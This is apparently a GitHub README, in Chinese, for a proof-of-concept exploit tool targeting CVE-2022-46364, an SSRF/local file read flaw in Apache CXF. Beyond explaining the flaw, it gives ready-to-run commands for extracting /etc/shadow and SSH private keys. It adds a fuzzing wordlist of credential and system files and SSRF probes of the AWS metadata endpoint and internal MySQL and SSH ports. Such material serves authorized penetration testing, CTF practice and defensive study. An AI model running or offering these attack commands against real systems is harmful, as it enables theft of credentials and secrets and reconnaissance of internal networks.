0xmid00/CVE-2022-46364-poc
GitHub: 0xmid00/CVE-2022-46364-poc
针对 Apache CXF XOP:Include SSRF/本地文件读取漏洞的自动化 PoC 利用工具,支持字段自动检测和文件路径模糊测试。
Stars: 0 | Forks: 0
# CVE-2022-46364 — Apache CXF XOP:Include SSRF / LFI
**作者:** 0xmid00
**漏洞:** 通过 MTOM 请求中的 XOP:Include 实现 SSRF / 本地文件读取
**受影响版本:** Apache CXF < 3.5.5 和 < 3.4.10
## 漏洞详情是什么?
Apache CXF 会处理包含 `XOP:Include` 元素的 MTOM (Message Transmission Optimization Mechanism,消息传输优化机制) 消息。
`XOP:Include` 的 `href` 属性本应引用同一 MTOM 多部分消息中的附件。
然而,在受影响的版本中,CXF 会跟随 `href` 中提供的**任何 URI**,包括:
- `file:///etc/passwd` → 读取本地文件 (LFI)
- `http://127.0.0.1:PORT/` → 探测内部服务 (SSRF)
攻击者只需发送一个包含**至少一个任意类型参数**的 SOAP 请求即可触发此漏洞。
## 环境要求
```
pip install requests
```
## 用法
```
python3 exploit.py -r request.txt [options]
```
### 参数
| 参数 | 描述 |
|------------------|----------------------------------------------------------|
| `-r, --request` | 原始 HTTP 请求文件的路径 (必填) |
| `--mode 1` | 使用 /etc/passwd 自动检测可注入的 XML 字段 |
| `--mode 2` | 对文件路径字典进行模糊测试 |
| `--field NAME` | 指定要注入的 XML 字段 (跳过自动检测) |
| `--wordlist PATH` | 模式 2 所用的文件路径字典位置 |
| `--read PATH` | 读取单个指定文件 |
| `-v, --verbose` | 显示详细的请求信息 |
## 请求文件格式
将抓取到的原始 HTTP 请求原样保存到一个 `.txt` 文件中 (例如使用 Burp 抓取的数据):
```
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Connection: close
Content-Length: 487
false
test
IT
john
```
该漏洞利用工具会自动将其转换为 MTOM 格式 —— 您无需手动进行此操作。
## 示例
### 模式 1 — 自动检测所有可注入字段
```
python3 exploit.py -r request.txt --mode 1
```
尝试将 `file:///etc/passwd` 注入到每个叶子 XML 元素中,并报告哪些字段成功返回了文件内容。
### 模式 1 — 测试特定字段
```
python3 exploit.py -r request.txt --mode 1 --field content
```
### 模式 2 — 模糊测试文件 (首先自动检测字段)
```
python3 exploit.py -r request.txt --mode 2 --wordlist lfi.txt
```
首先运行模式 1 以寻找可注入字段,然后通过该字段对字典中的所有路径进行模糊测试。
### 模式 2 — 使用已知字段进行文件模糊测试 (速度最快)
```
python3 exploit.py -r request.txt --mode 2 --field content --wordlist lfi.txt
```
跳过字段检测,直接进入模糊测试阶段。
### 读取单个文件
```
python3 exploit.py -r request.txt --field content --read /home/dev_ryan/.ssh/id_rsa
```
## 字典示例 (lfi.txt)
```
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/home/dev_ryan/.ssh/id_rsa
/home/dev_ryan/.bash_history
/home/dev_ryan/.bashrc
/root/.ssh/id_rsa
/root/.bash_history
/var/log/auth.log
/var/log/syslog
```
您也可以使用 SecLists:
```
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
```
## 工作原理
1. 解析原始 HTTP 请求文件
2. 在 SOAP 正文 (body) 中定位目标 XML 字段
3. 将其内容替换为 ` `
4. 将请求包装为 MTOM 多部分格式 (激活 CXF 的 XOP 处理器所必需)
5. 发送请求 —— CXF 获取文件并返回其 base64 编码的内容
6. 解码并打印结果
## SSRF 模式
若要探测内部 HTTP 服务而不是读取文件:
```
python3 exploit.py -r request.txt --field content --read http://127.0.0.1:8080/
```
或者使用任意内部 URL 编辑 `--read` 的值:
```
--read http://169.254.169.254/latest/meta-data/ (AWS metadata)
--read http://127.0.0.1:3306/ (MySQL)
--read http://127.0.0.1:22/ (SSH banner)
```
## 免责声明
本工具仅供授权的渗透测试和 CTF 比赛使用。
作者不对任何滥用行为承担责任。
标签:Apache CXF, CISA项目, CVE-2022-46364, IP 地址批量处理, LFI, Maven, MTOM, PoC, Python, SOAP, SSRF, Web安全, XML外部实体, XOP:Include, 信息泄露, 内网探测, 插件系统, 文件读取漏洞, 无后门, 暴力破解, 服务器端请求伪造, 本地文件读取, 漏洞验证, 网络安全, 网络安全审计, 蓝队分析, 逆向工具, 隐私保护